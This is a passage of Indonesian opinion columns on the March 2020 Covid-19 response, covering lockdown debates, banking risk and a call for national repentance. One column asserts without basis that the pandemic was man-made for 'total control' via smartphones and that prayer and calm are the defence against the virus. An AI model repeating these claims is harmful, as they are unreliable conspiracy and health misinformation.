itu. Penguasa dzolim yang diabadikan dalam Al-Quran. Kezaliman mereka membuat Allah Murka. Bermula dari merasa diri paling berkuasa. Berujung pada pengerahan tentara Allah berupa makhluk dan wabah untuk memberikan peringatan bagi mereka. Namruz menganggap dirinya Tuhan. Lalu menyuruh semua orang menganggap dia Tuhan. Namun Ibrahim Alaihi Salam menolak itu. Hukuman bagi Ibrahim diselenggarakan dengan keji. Namun Allah segera mendatangkan bala tentaranya untuk menghancurkan Namruz dan orang-orangnya. Hanya dengan seekor nyamuk kecil yang menyebar di kekuasaannya, Namruz dengan segala ambisi kekuasaannya dibuat hancur dan terhina oleh Tuhan. Firaun adalah bentuk kedua dari kekuasaan yang diktator itu. Ia merasa paling berkuasa. Fir’aun mendeklarasikan diri dengan "ana rabbukumul a'la". Kemudian menolak risalah yang disampaikan oleh Musa Alaihi Salam. Fir’aun terlalu nekat menyatakan diri paling berkuasa dengan menindas rakyatnya. Hingga Allah menurunkan wabah. Kekeringan dan kelaparan menghinggapi kehidupan rakyatnya. Namun Firaun tidak bertobat, dan masih tetap sombong. Fir’aun dan pengikutnya menganggap bahwa paceklik itu dibawa oleh Nabi Musa. Tuduhan yang serius itu membuat Fir’aun dengan pengikutnya, beserta segala kekuasaannya makin sombong. Allah SWT melanjutkan azab-Nya dengan banjir sehingga membuat lahan di Mesir terkikis. Hingga penyikut Fir’aun merasa tidak memiliki apa-apa. Akibatnya Fir’aun dan pengikutnya menyuruh Nabi Musa mendoakan mereka untuk menghilangkan azab itu, dengan janji mereka akan beriman. Nabi Musa pun mendoakan mereka. Allah SWT mengijabah doa Nabi Musa. Azab itu hilang seketika. Namun mereka ingkar janji lagi. Mereka tak beriman kepada Nabi Musa dan risalahnya. Akibatnya, azab kembali datang ke tengah mereka. Allah mengirimkan sekawanan belalang, yang kemudian memakan habis tanaman mereka. Lalu mereka kembali kepada Nabi Musa, dan memintanya untuk didoakan agar azab itu diangkat oleh Allah SWT. Musa kembali berdoa, dan Allah mengijabhnya. Namun mereka tetap ingkar janji. Mereka dikirim wabah penyakit kutu. Seluruh Mesir dilanda wabah kutu itu. Berulang-ulang mereka ditimpa wabah, berulang ulang mereka ingkar. Lalu Allah SWT menurunkan azab berupa katak. Mesir dipenuhi dengan katak. Sampai ke Sungai Nil, dan menjadi darah dan bau anyir yang menyengat. Namruz dan Fir’aun merupakan contoh kekuasaan dan pemerintahan yang buruk. Dengan dukungan kelompok atau pengikutnya yang menolak kenyataan kebenaran dari Allah SWT. Mereka mendapatkan kepedihan azab Allah, namun mereka tidak pernah bertobat. Dalam kondisi seperti itu, mereka mengharapkan ulama. Namun setelah ulama memberikan nasehat dan bimbingan, mereka meninggalkan ulama. Bahkan mengkriminalisasi ulama. Begitulah Allah selalu memutar sejarah sebagai peringatan untuk kita. Namun kesadaran bagi penguasa dzalim tidak akan pernah tiba. Karena mereka menolak kebenaran azab ini. Seandainya Namruz atau Fir’aun menerima kebenaran dan tobat pasti azab itu akan berlalu. Karena itu, di tengah wabah ini, kita perlu tobat bersama. Sebagi orang beriman, wabah ini patut kita pelajari sebagai azab. Ulama telah menangkap pesan tersebut, sehingga mengeluarkan fatwa untuk melindungi umat Islam. Sementara kekuasaan masih ingkar dan tidak mau melihat ini sebagai teguran, sebagai akibat dari kelalaiannya dalam mengurus rakyat. Perlu ada tobat Nasional. Pertama, meminta kekuasaan untuk berhati besar meletakkan kekuasaan dan memberikan kepada yang lebih pantas. Baik itu para menteri atau mereka yang punya kekuasaan. Bahkan hingga pucuk pimpinan, bila sudah tidak mampu lagi melindungi segenap bangsa dan seluruh tumpah darah Indonesia. Supaya bangsa ini keluar dari keterpurukan. Kedua, tobat nasional ini adalah mengajak pemerintah untuk bertindak konstitusional dalam rangka melindungi rakyat Indonesia. Perlindungan itu, baik dari pendemi Covid-19 maupun dari wabah kelaparan dan wabah ekonomi yang kian hari menekan rakyat Indonesia. Ketiga, tobat nasional adalah meminta ulama dan tokoh umat serta kita semua untuk mengajak rakyat Indonesia kembali kepada Allah dan Rasul-nya. Membumikan ajaran Islam dalam kehidupan sosial, individu, dan kehidupan berbangsa dan bernegara. Sehingga kita bisa mencapai negara yang baldatun thoyyibatun wa robbun ghofur. Hanya dengan tobat nasional inilah kita dapat mengatasi berbagai problem bangsa kita hari ini. Wallahualam bis shawab. Penulis adalah anggota DPR-MPR 2009-2014, Advokat, Dosen FH dan Fisip UMJ serta Inisiator #Musyumireborn.

"Mengenali Udang Dibalik Batu"

By Komjen Pol. Drs. Dharma Pongrekun MM. MH. Jakarta FNN – Senin (30/03). Saya ingin mengajak kita semua yang sebangsa dan setanah air untuk sama-sama sejenak berpikir. Mengenali “Udang Dibalik Batu” yang memaksa kita untuk menjalani apa yang kita jalani selama ini. Saya sungguh ingin mengajak kita semua untuk tidak lagi melangkah tanpa mengetahui kemana semua perjalanan peristiwa hidup ini berakhir. Bahwa apa yang kita lihat dan kita rasa dengan lima panca indra adalah “tidak seindah warna aslinya, tidak seperti tampilannya”. Bahwa sesungguhnya yang kita lihat dan kita rasa dengan hanya berpegang pada lima panca indra adalah yang sedang mengelabui kita. Bahwa semua hanyalah ilusi dari eksploitasi keserakahan yang sudah diprogram di alam bawah sadar kita, sejak kita masing-masing dilahirkan ke dunia ini dengan sistem yang semakin hari semakin diseragamkan. Bahwa selama ini kita hanya diajar untuk bisa melihat “batu”nya tanpa mampu mengenali “udang”nya. Sistem yang diseragamkan. Diseragamkan agar kita semua memiliki kesamaan pemahaman tentang segala sesuatu. Hanya pada apa yang mampu kita lihat dan rasa secara jasmani, yaitu “batu”nya tanpa sadar kalau ada “udang”nya. Kita sama sekali tidak menyadari bahwa sebenarnya kita sedang digiring untuk menjadi “sesuai” dengan sipembuat sistem. Tahukah anda bahwa ia telah merencanakan ini semua sejak zaman dahulu kala. Melakukan “Rekayasa Hidup” (Life Engineering). Kita digiring menjadi manusia yang tidak fitrah. Kita dibentuk untuk mengejar hidup dengan ambisi dan keserakahan. Secara alami, perlahan tapi pasti, kita semakin jauh dari keadaan yang mengandalkan kemahakuasaan Tuhan, yang tidak hanya menciptakan kita, manusia, namun juga menciptakan langit dan bumi. Kita tak sadar bahwa kita diprogram untuk mengandalkan hal-hal yang sifatnya lebih materi ketimbang rohani. Tujuannya jelas. Untuk menguasai jiwa manusia, agar dengan mudah mengendalikan semua secara total (TOTAL CONTROL). Namun, tujuan antaranya adalah menguasai sistem ekonomi (juga) secara total dengan “menulis dan menerbangkan” berbagai skenario yang disuguhkan dramatis seakan-akan ini adalah peristiwa alami tanpa alasan dan tujuan. Salah satu cara adalah dengan menyatukan sistem antara TeKnologi Informasi dan Tehnologi Komunikasi (TIK) yang hanya dihubungkan dengan Internet of Things ( IoT). Lazimnya kita kenal dengan gadget (Smartphone) yang selalu menempel erat ditangan masing-masing. Kapan dan dimana pun kita berada kita merasa tidak ada lagi batasan antara ruang dan waktu. Sebenarnya itu hanya cara “mereka” memanipulasi mindset kita. Artinya MINDSET KITA SUDAH DI-“LOCKDOWN”. Gadget adalah Sistem yang memang dengan sengaja sudah direncanakan dari jauh-jauh hari (by design) oleh si “pembuat sistem” tersebut untuk digunakan sebagai “Inteligent Tool”(Proxy War) demi kepentingan memastikan keberhasilan tujuan dari program besar si “pembuat sistem”. Teknologi tersebut adalah “PION” paling efektif untuk menebarkan informasi secara terstruktur, sistematis dan “massive” (TSM) untuk menggiring seluruh situasi yang ada sesuai dengan “skenario” yang sudah disiapkan, bahkan sudah disimulasikan terlebih dahulu. LANGKAH JITU. Sekali lagi, ujung-ujungnya adalah motif ekonomi. Tujuan terpenting dan di atas segalanya yang harus tercapai adalah mengendalikan dunia secara TOTAL tanpa peduli jiwa manusianya. Ini bukan fantasi. Ini TELAH, SEDANG DAN AKAN terus berproses sampai dunia ini tiba pada kata akhir. Mereka sudah menguasai semua aspek kehidupan kita lewat apa yang kita kenal dengan "INDUSTRIALISASI" (bahwa segalanya harus jadi uang ) dan tak ada lagi yang tersisa. Jika sahabat-sahabatku memiliki keinginan untuk tahu lebih jauh, lebih banyak, mari kita berdiskusi. Mari duduk demi kebangkitan bangsa ini kembali fitrah menjadi bangsa yang merdeka lahir batin. Dalam menghadapi pandemi “satu kata” saat ini, yang adalah buatan “si pencuri”. Selayaknya semua elemen bangsa saling mengajak untuk tetap tinggal tenang. Tuhan selalu awas dan menjaga kita. Tak sehelai rambut pun jatuh tanpa seizin Tuhan. Selayaknya kita yakini kedahsyatan kuasa-Nya. Tidak semestinya kita sedikit pun tergoncang! Saya pun sangat berharap kepada semua yang sontak “menjelma” menjadi wartawan dadakan karena gadget, agar memutus rantai teror. Bijak dengan tidak menjadi bagian, berpartisipasi dalam menebarkan “vibrasi negatif “ berupa berita ataupun informasi yang justru menebar kecemasan, ketakutan dan kepanikan tak terkendali. Ingat-ingat lagi, apa saja yang kita terima lalu langsung kita bagi, seringkali tidak melalui proses “paham hingga ke dasar”. Tidak utuh, bahkan TIDAK SUNGGUH-SUNGGUH DIBACA SAMPAI SELESAI. Sadarilah, pikiran kita sedang diprogram agar mempunyai pandangan yang seragam atas segala sesuatu yang terjadi. Kita sedang digiring untuk melakukan segala langkah-langkah yang hanya secara jasmani! Lalu kita berpikir dapat kita atasi, padahal faktanya tidaklah demikian. Yang hanya kita lihat dengan mata jasmani bukanlah penyelesaian yang sesungguhnya dari akar masalah yang ada. “Jangan Sampai Persepsi Kita Dikendalikan. Taklukan Teknologi dan Bukan Sebaliknya”. Mari bersatu dan bersepakat dalam hati yang takwa kepada Tuhan Yang Maha Esa untuk meraih ketenangan hati dan jiwa. Menenangkan hati seluruh masyarakat Indonesia yang kita cinta. Hentikan semua dramatisasi berita ini, hentikan menampilkan berita dan informasi penebar ketakutan yang merata. Sepakatlah, kita sedang melawan virus. Apa yang tak bisa dia tembus? Ya. Imun tubuh yang baik. Itu yang kita perlu dan saat ini sangat kita butuh. Namun apa yang sejak kemarin kita lakukan justru adalah segala tindakan yang membangun rasa takut dan kekuatiran yang malah menurunkan “imun tubuh. KUATKAN IMUNITAS MASING-MASING. Itu yang saat ini kita butuh. Jaga ketahanannya. Jaga dari pribadi masing-masing. Ketika kita melakukannya bersama, KITA SEBENARNYA SEDANG MEMBANGUN BENTENG PERTAHANAN NASIONAL DARI RUMAH KITA MASING-MASING. Virus “satu kata” yang sedang menjadi trending topik dunia ini adalah sesuatu yang tidak terlihat oleh mata jasmani kita, maka “lawan”nya jelas : YANG TAK TERLIHAT. ITU BARU TEPAT. Apa senjata kita? Kekuatan Tuhan dengan DOA yang diimani sungguh-sungguh. Ingin hidup? Berdoa, beribadah, mendekatlah kepada Allah, Dia sumber hidup. “Janganlah takut kepada kekejutan yang tiba-tiba atau kepada kebinasaan, bila itu datang, karena Tuhan Yang Maha Esalah yang menjadi sandaran kita semua. Dia akan menghindarkan bangsa Indonesia, bangsa kita. Dalam situasi menakutkan, Tuhan selalu bersama bangsa ini, memegang kita dengan tangan kanan-Nya yang membawa kemenangan. Yakini. Ketakutan adalah bentuk intimidasi iblis yang ingin merebut kedamaian jiwa kita dari rasa keimanan kita kepada kemahakuasaan-Nya. Tuhan Yang Maha Esalah sumber kekuatan yang kekal dan abadi untuk selama-lamanya. Amin. “Indonesia harus bangkit, bangsa pemenang, bahkan lebih dari Pemenang”. BANGKIT! INDONESIA, BANGKIT! Viva Republik Indonesia #gerakanindonesiajemurpagi

Waspada Dampak Penularan Covid-19 ke Sektor Keuangan

By Anthony Budiawan Jakarta FNN – Senin (30/03). Pandemi global Covid-19 membuat perekonomian dunia lumpuh. Pergerakan manusia antar wilayah dan antar daerah dibatasi. Tujuannya, untuk memotong mata rantai penyebaran virus. Hampir semua negara di dunia memilih isolasi atau karantina wilayah, alias lockdown. Membuat perdagangan dunia terkontraksi tajam. Perkerjaan kantor dibatasi. Banyak karyawan menjalankan pekerjaannya dari rumah. Work from home (wfh) menjadi tagar populer di media sosial. Banyak tempat belanja dan tempat hiburan seperti mal, restoran, cafe, bioskop ditutup. Semua orang diharap tinggal di rumah. Stay at Home. Pekerja berpenghasilan harian langsung merasakan dampaknya. Sangat memilukan. Sopir taksi, bajaj, angkot, ojek online, warung makan, warung rokok, penjual pinggir jalan, penjual keliling, buruh harian, dan semua sektor informal terkena dampaknya. Harga produk pertanian mendadak anjlok, akibat dari keterbatasan logistik. Sudah banyak yang sulit mencari nafkah untuk makan sehari-hari. Krisis ekonomi Covid-19 dipastikan akan meluas. Tidak hanya terbatas pada kelompok di atas. Tetapi juga akan memasuki semua sendi kehidupan ekonomi dan dunia usaha. Pemutusan Hubungan Kerja (PHK) hanya tinggal tunggu waktu saja. Banyak perusahaan sekarang menghadapi kesulitan membayar THR yang akan jatuh tempo pada bulan April ini. Uangnya dari mana? Karena pendapatan mereka bukan turun lagi, tetapi terjun bebas. Krisis ekonomi akan berimbas ke sektor keuangan. Seberapa parah tergantung berapa lama krisis ini berlangsung. Kredit macet akan menggunung. Banyak pihak tidak sanggup bayar bunga. Apalagi cicilan. Bukan hanya leasing kendaraan dan kredit konsumsi yang akan macet. Perusahaan besar dan kecil juga akan mengalami kesulitan cashflow. Eksportir babak belur. Eksportir komoditas terjepit di antara anjloknya harga dan permintaan. Semua sektor industri berpotensi besar terjadi kontraksi. Sektor pariwisata, hotel dan restoran sudah lebih dulu terpuruk. Sektor makanan dan minuman pasti akan turun. Sektor properti macet besar. Konstruksi dan industri pendukungnya pasti terkontraksi. Terlebih pemerintah sudah realokasi dana pembangunan menjadi dana kesehatan untuk melawan Covid-19. Perdagangan besar dan perdagangan eceran anjlok. Logistik dan pengangkutan terhambat, akibat lockdown. Sektor otomotif turun tajam. Jadi, semua sektor industri akan mengalami kesulitan likuiditas. Kalau berkepanjangan, kredit macet tidak dapat dihindarkan, sehingga dapat memicu krisis keuangan. Di lain sisi, kewajiban sektor keuangan kepada pihak ketiga, baik itu nasabah maupun kreditor, harus dipenuhi. Khususnya dana pihak ketiga dari tabungan, alias nasabah. Kalau nasabah mencium gelagat akan ada masalah dengan banknya, maka mereka paling dulu akan menyelamatkan uangnya. Bisa memicu bank run dan bank panic. Bisa terjadi penarikan dana tabungan secara besar-besaran. OJK (Otoritas Jasa Keuangan) bisa memeriksa apakah sudah ada tanda awal di daerah, khususnya BPR (Bank Perkreditan rakyat). Bank Indonesia (BI) dan OJK harus segera antisipasi agar permasalahan ini tidak meluas dan dapat segera diatasi. Artinya, kalau sektor keuangan perlu untuk dibantu, dan di-bailout, maka bagaimana mekanismenya? Apakah akan seperti kasus Bank Century? Undang-undang No 23 Tahun 1999 (dan perubahannya), BI tidak lagi memberi dana talangan kepada bank komesial secara langsung. Artinya, pemerintah yang harus menanggungnya. Dibebankan ke APBN, seperti yang terjadi pada kasus Century. Sanggupkah pemerintah menanggung beban tersebut? Total pinjaman yang diberikan sektor perbankan per akhir 2019 mencapai Rp 5.680 triliun. Sedangkan perusahaan leasing sekitar Rp 450 triliun. Dengan kondisi Covid-19 belum mereda, bahkan semakin parah, dan aka nada karantina wilayah yang menjadi pilihan utama, kredit macet bisa mencapai Rp 1.500 triliun, atau 25 persen dari portfolio kredit. Kemungkinan jumlah kredit macet Rp 1.500 triliun tersebut cukup konservatif. Artinya, jumlah tersebut bisa bertambah. Kalau skenario ini terjadi, sektor keuangan akan kesulitan memenuhi kewajibannya. Kalau dana talangan harus diberikan sebesar itu, pemerintah akan sulit menanggung beban tersebut di APBN. Belum lagi beban-beban lainnya yang juga sangat penting untuk stimulus ekonomi, dan menanggung beban hidup masyarakat, serta dana penanggulangan Covid-19. Dampak lumpuhnya sektor keuangan akan berimbas juga ke pendanaan APBN. Sektor keuangan tidak bisa lagi membeli Surat Berharga Negara (SBN). Sebaliknya, APBN malah harus menanggung kewajiban mereka kalau harus terjadi bailout. Oleh karena itu, pemerintah, BI dan OJK harus segera mengantisipasi dan mencari solusinya. Tidak boleh gagal, karena harga yang harus dibayar sangat mahal sekali. Penulis adalah Managing Director Political Economy and Policy Studies (PEPS)

Lockdown. Pak Presiden Belajar lah dari Kepala Desa di Purbalingga

Oleh Hersubeno Arief Jakarta, FNN - "We Know how to bring the economy back to live. What we do not know is how to bring people back to life.” —-Presiden Ghana Nana Akufo Addo— Tindakan seorang kepala desa di Kabupaten Purbalingga, Jawa Tengah ini patut diacungi jempol. Keputusan dan tindakannya menghadapi penyebaran wabah Corona, layak ditiru. Dia bisa menjadi inspirasi bagi para kepala pemerintahan, termasuk Presiden Jokowi. Itu kalau mau sedikit rendah hati. Pikiran terbuka, dan yang paling penting berani mengambil tindakan dengan segala risikonya. At all costs. Seperti diberitakan oleh kompas.com edisi Sabtu (28/3), Pemerintah Desa Gunungwuled, Kecamatan Rembang, Purbalingga, memutus akses masuk dan keluar satu dusun di wilayahnya. Satu-satunya jalan masuk ke dusun dipasang portal untuk menghalau semua kendaraan yang lalu-lalang. Dengan bahasa yang sekarang sedang sangat hits, Pak Kades bernama Nashiruddin Latif melakukan lockdown wilayah. Keputusan yang sangat berani. Tanpa banyak rapat dan perdebatan, seperti yang terjadi di pusat pemerintahan di Jakarta. Pak Kades juga tidak merasa perlu mengerahkan para buzzer, menutup mulut penduduk yang beroposisi menentangnya. Jangan anggap remeh. Di era demokrasi ini, oposisi juga ada lho sampai di pelosok-pelosok desa. Keputusan Pak Kades melakukan lockdown total itu karena mendapati seorang warga di sebuah dusun positif Corona. Warga itu baru pulang dari Jakarta dalam kondisi sakit. Dia sempat dirawat di RSUD dan kemudian diperbolehkan pulang. Pulang dari rumah sakit, karena suasana warga yang guyub, sanak saudara, para tetangga datang menjenguk. Padahal petugas rumah sakit sudah mewanti-wanti agar melakukan karantina mandiri selama tiga hari. Belakangan muncul hasil test swab. Warga tersebut positif Corona. Penduduk desa geger. Khawatir tertular. "Kami secara mandiri melakukan tracking dengan siapa saja korban ini berinteraksi langsung dan menemukan sedikitnya 90 orang dari 30 Kepala Keluarga (KK) di tiga dusun," ungkapnya. Coba perhatikan, betapa tangkas dan tanggapnya pak Kades. Keren banget. Langsung tracking! Langkah berikutnya, atas desakan warga, Pak Kades menutup total akses ke Dusun Bawahan, tempat tinggal warga yang dinyatakan positif. Warga diminta untuk mengisolasi mandiri di dalam rumah hingga 14 hari. Mencegah penyebaran virus agar tidak menjadi wabah. Sementara warga yang lain diminta menjaga jarak dan tidak melakukan kegiatan yang melibatkan massa (social distancing). Agar warganya tetap fokus dan taat dengan program social distancing, pemerintah desa menanggung biaya hidup warga yang isolasi mandiri. Tiap kepala keluarga mendapat santunan sebesar Rp 50 ribu/hari. "Biaya hidup dari 30 KK selama 14 hari, jadi total sekitar Rp 21 juta. Akan dialokasikan dari APBDes, tapi dari hasil konsultasi dengan bupati katanya mau di-back up," ujar Pak Kades. Please jangan nilai anggaran yang dikeluarkan oleh pemerintah desa hanya sebesar Rp 21 juta. Angka itu bagi mereka sangat besar. Jangan-jangan menyedot semua anggaran desa. Pak Kades bersedia mengeluarkan dan berani memutuskan. Untungnya kemudian ada komitmen dari kabupaten, biaya itu diganti. Jadilah kehidupan warga kembali tenang. Warga yang dikarantina juga tak perlu khawatir kelaparan, karena dijamin oleh desa. Sangat inspiratif Apa yang dilakukan oleh Pak Kades memberi inspirasi dan pelajaran bagi kita. Menjadi seorang pemimpin itu harus berani mengambil tindakan. Bersedia dan berani mengorbankan anggaran, karena lebih mengutamakan keselamatan dan nyawa warganya. Dalam skala yang lebih besar, skala negara, kita juga bisa belajar dari Presiden Ghana Nana Akufo Addo. Ketika Wabah melanda negaranya, dia bertindak cepat. Lockdown! Padahal korban yang meninggal “baru” empat orang. Dia sadar tindakannya akan berpengaruh sangat besar terhadap perekonomian negara. Bank Ghana memperkirakan pertumbuhan ekonomi mereka akan anjlok. Hanya sekitar 2.5%. Padahal selama memimpin Ghana, Akufo cukup berhasil mendongkrak ekonomi negaranya. Dari semula hanya 3.4%, dalam tiga tahun terakhir berhasil dia kerek menjadi rata-rata 7%. Ucapannya ketika memutuskan lockdown yang dikutip di awal tulisan, viral ke seluruh dunia. “KITA TAHU BAGAIMANA MENGHIDUPKAN KEMBALI EKONOMI NEGARA. YANG KITA TIDAK TAHU BAGAIMANA MENGHIDUPKAN KEMBALI RAKYAT YANG SUDAH MATI!” Sangat heroik dan menunjukkan kualitasnya sebagai seorang pemimpin. Dia juga tahu memilih mana yang menjadi prioritas. Ah andai saja Pak Jokowi dan para pemimpin negeri ini mau belajar. Tidak usah ke Ghana di Afrika yang nun jauh di sana. Cukup datang ke desa Gunungwuled, Purbalingga. Lokasinya relatif tidak jauh dari kampung halaman Pak Jokowi di Solo. Cerita negara kita tentu akan berbeda! End. Penulis wartawan senior.

Siap-siap, Jakarta Akan Lockdown

By Tony Rosyid Jakarta FNN –Senin 30/03). Setelah lama, alot dan intens berkomunikasi, sepertinya pemerintah pusat mulai bisa memahami logika Anies mengapa Jakarta harus dilockdown. Bahasa undang-undangnya "karantina". Meski telat, tapi ini tetap lebih baik. Secara ekonomi, ini keputusan yang tidak populer, baik bagi Jokowi maupun Anies. Tapi, nyawa rakyat di atas segala-galanya. Harus diselamatkan. No choice! Kenapa Jakarta harus lockdown? Pertama, karena Jakarta adalah pusat covid-19. Penyebarannya extra masif. Day to day jumlah yang postif dan angka kematian meningkat secara signifikan. Dari 1.285 kasus yang positif covid-19, 675 ada di Jakarta. (data 29 Maret) Kedua, imbauan Pemerintah Pusat dan DKI untuk stay at home, social distancing dan menghindari kerumunan tidak sepenuhnya efektif bisa dijalankan. Sebagian warga kurang disiplin. Warga cenderung meremehkan dan tak peduli. Ketidakdisiplinan ini menjadi penyumbang terbesar penyebaran covid-19 di Jakarta, termasuk Jabodetabek. Ketiga, Jakarta adalah pusat interaksi dan titik pertemuan masyarakat dari seluruh pelosok negeri. Bahkan sebagian masyarakat dunia. Disinilah potensi kerumunan terjadi ,yang sangat berpotensi untuk terjadi penyebaran covid-19. Keempat, mandegnya pergerakan ekonomi, terutama di sektor non-formal, menyebabkan terjadinya arus mudik besar-besaran. Sebagian pemudik terbukti telah menjadi penyebar covid-19 ke daerahnya masing-masing. Akibatnya, di hampir semua provinsi telah terjadi penularan. Data menyebutkan, sumber utamanya mayoritas berasal dari Jakarta. Inilah yang menajdi alasan mengapa Jakarta harus lockdown. Warga Jakarta harus dikarantina. Arus keluar masuk Jakarta mesti ditutup sementara. Kecuali logistik, petugas dan kendaraan pribadi yang savety dari kemungkinan penyebaran orang. Apa indikasi Jakarta mau lockdown? Pertama, pemerintah pusat sedang menyiapkan Peraturan Pemerintah (PP) yang akan dijadikan landasan untuk melakukan lockdown lokal. Kedua, Polda Metro Jaya sedang melakukan simulasi rakayasa dan penutupan jalan dalam formasi lockdown. Ini bentuk persiapan yang sangat serius. Ketiga, Direktur Perhubungan Darat Kemenhub, Budi Setiadi, sudah membocorkan rencana lockdown di DKI Jakarta. Ini adalah hasil konsultasi dengan Menkomaritim dan Investasi Luhut Binsar Panjaitan (LBP). Tentu, presiden dan gubernur DKI sudah mempersiapkan konsekuensi sosial dan ekonominya saat Jakarta lockdown. Termasuk tenaga dan fasilitas medis, serta bantuan sosial untuk warga DKI. Dalam menghadapi covid-19 saat ini, kekompakan semua elemen bangsa sangat dan sangat dibutuhkan. Pemerintah Pusat, pemerintah Daerah, tenaga kesehatan dan masyarakat harus bersinergi dan satu langkah. Hentikan semua bentuk perbedaan dalam menghadapi covid-19. Pemerintah Pusat dan Pemerintah Daerah bersama-sama membuat satu kebijakan. Menyiapkan fasilitas medis dan memberikan bantuan sosial kepada rakyat yang terdampak secara ekonomi. Para tenaga medis bekerja full waktu, tenaga dan kemampuan untuk melayani pasien. Masyarakat harus disiplin pada aturan dan imbauan dari pemerintah. Ini yang harus diperhatikan. Jika tidak disiplin, harus didisiplinkan. Jika tidak taat aturan, harus dipaksa taat aturan. Ini konsekuensi lockdow. Karena ini berurusan dengan nyawa banyak orang. Perlindungan terbaik adalah mencegah penularan, kata Anies Baswedan. Dan perlindungan terbaik ini ada di masyarakat sebagai garda terdepan, lanjut Gubernur DKI yang sejak bulan Februari lalu sudah mengusulkan untuk lockdown. Dalam situasi sulit ekonomi akibat lockdown, masyarakat yang mampu secara ekonomi diharapkan bisa berpartisipasi untuk membantu mereka yang sedang kekurangan. Karena, tak semua dari mereka masuk dalam daftar bantuan pemerintah. Mesti dipahami, saat ini banyak OMM (Orang Miskin Mendadak). Akibat serbuan covid-19. Mereka kehilangan pekerjaan, dan jadi OMM. Soal bantuan sosial, masyarakat Indonesia sudah terlatih. Dua pekan ini, lembaga-lembaga sosial dan ormas seperti Baznas, Dompet Dhuafa', ACT, Wahdah Islamiyah, Yayasan Buddha Zu Chi, dan beberapa organisasi lain sudah bergerak untuk menyalurkan bantuan. Sementara berupa alat kesehatan. Selanjutnya, lembaga-lembaga sosial ini harus memikirkan rencana bantuan "sembako" kepada masyarakat yang terdampak, dan paling menderita-secara ekonomi. Terutama kepada OMM (Orang Miskin Mendadak) yang jumlahnya makin banyak. Tidak saja lembaga sosial dan ormas, tapi juga partai politik. PKS dan Gerindra kabarnya juga sudah turun lapangan dan men-support alat kesehatan ke sejumlah rumah sakit. Perlu juga mereka mengumpulkan dana untuk membantu masyarakat yang terdampak secara ekonomi. Semoga langkah PKS dan Gerindra bisa diikuti oleh PDIP, PSI, Nasem, Golkar, PAN dan partai-partai lainnya. Kalau membeli jutaan baliho, spanduk dan kaos mampu, mosok nyumbang sembako gak bisa? Jika semua elemen bangsa ini kompak, bersinergi dan satu langkah, maka lockdown di DKI, juga di daerah-daerah lain, akan bisa dilakukan dan diatasi, terutama semua dampak ekonomi dan sosialnya. Sinergi inilah yang membuat orang lapar teratasi. Proses penularan covid-19 juga bisa dibatasi. Dengan begitu, jumlah orang yang positif Covid-19 dan angka kematian bisa ditekan. Penulis adalah Pengamat Politik dan Pemerhati Bangsa

Lockdown Gratisan

By Asyari Usman Jakarta, FNN - Hebat. Pemerintah pusat pintar sekali. Kalau mau disebut licik sekali, masuk juga. Dua jempol. Desakan lockdown (kunci diri) nasional secara total tidak perlu ditanggapi. Bisa terjadi dengan sendirinya. Dan gratis! Pemerintah pusat tak perlu keluarkan biaya. Caranya? Mudah saja. Biarkan pemerintah lokal menghadapi situasi penyebaran Covid-19 apa adanya. Jumlah positif Corona di berbagai daerah bertambah dari hari ke hari. Di Jakarta, kenaikannya drastis. Ditambah berita-berita yang menyeramkan dari Eropa, Asia, dan Amerika, rakyat di semua pelosok pun otomatis ketakutan. Karena kasus baru positif bertambah terus, pemerintah daerah tak punya pilihan. Harus memberitahu masyarakat bahwa pembatasan gerak terpaksa diberlakukan. Tidak boleh ada keramaian. Tidak boleh ada yang berkumpul lebih dari sekian orang. Restoran, kafe, karaoke, dan tempat-tempat hiburan malam diminta tutup atau ditutup dengan sukarela. Di mana-mana dibuat ‘road block’ (penutupan jalan). Satu per satu kawasan urban (perkotaan) mengambil prakarasa lockdown sendiri. Meskipun belum total. Jakarta sudah mengambil langkah yang mengaraha ke lockdown. Bandung, sedang memulai. Medan juga. Tegal bahkan ambil langkah drastis. Kota ini ditutup empat bulan. Tasikmalaya di Jawa Barat tak ketinggalan mengunci diri. Angkutan umum dari luar tidak boleh masuk. Papua sudah lebih dulu menutup pintu. Jadi, masing-masing daerah tampaknya harus bertindak sendiri tanpa ada kebijakan lockdown nasional. Inilah cara memberlakukan lockdown nasional tanpa biaya pusat. Daerah demi daerah mengikuti efek domino Covid-19. Bisakah lockdown gratisan ini berjalan? Hampir pasti tidak akan banyak masalah. Biar pun dampak local lockdown itu menyulitkan kehidupan, rakyat tetap mengikutinya. Sebab, semua orang dari semua latarbelakang merasa takut tertular Covid-19. Mereka akhirnya akan diam di rumah juga. Banyak yang akan mengalami kepayahan ekonomi. Para pengendara ojol tak punya penumpang. Para pedagang asongan, penjual makanan keliling, warteg, para pedagang di pasar-pasar tradisional tak punya pembeli. Atau mereka sendiri ikut suka rela tidak berjualan, dlsb. Sebagian pemerintah daerah pastilah akan memberikan bantuan. Tetapi, belum tentu mencukupi. 29 Maret 2020 (Penulis wartawan senior)

Peranan Militer Dalam Menghadapi Coronavirus

By Dr. Syahganda Nainggolan Jakarta FNN- Minggu (29/03). Pemerintah sudah membentuk Gugus Tugas penanganan Covid-19 di bawah kendali Jenderal Doni Monardo, yang juga ketua BNPB (Badan Nasional Penangulangan Bencana). Pembentukan itu dilakukan melalui Kepres No. 7/2020 pada tanggal 13 Maret 2020. Lalu disempurnakan lagi dengan Kepres No.9/2020 beberapa hari berikutnya. Tujuan Gugus Tugas ini adalah membangun ketahanan kesehatan bangsa. Selain itu, mengendalikan pandemi coronavirus dan mensinergikan beberapa potensi lintas departmen dan wilayah untuk melawan pandemik itu. Sepanjang dua minggu ini Gugus Tugas dibentuk, kita masih melihat berbagai kejadian. Pertma, Kantor Menko Maritim dan Investasi melakukan konprensi perss tentang kedatangan bantuan RRC dengan wartawan tanpa "social distancing". Kedua, masyarakat melakukan gelombang mudik dari Jabotabek ke daerah-daerah, sehingga berpotensi menyebarkan virus corona ke daerah, khususnya di pulau Jawa. Ketiga, Dewan Guru Besar Kakultas Kedokteran Univesitas Indonesia (FKUI) dan Ikatan Dokter Indonesia (IDI) meminta pemerintah melakukan "lockdown". Namun pemerintah tidak mengindahkan. Keempat, Tenaga Kerja Asing (TKA) asal pandemik corona China datang ke Kendari yang mengakibatkan polemik dan saling serang antara petinggi negara, baik antara kementerian vs kementerian maupun kementerian vs Kepala daerah. Ketlima, pemerintah mengumumkan bahwa orang-orang miskin adalah sumber penularan penyakit. Keenam, pemerintah meminta rakyat menyumbang untuk mengatasi wabah ini. Ketujuh, Pemerintah Pusat memintah Pemerintah Daerah menanggung biaya sistem kesehatan nasional BPJS, padahal ini beban berada di Pemerintah 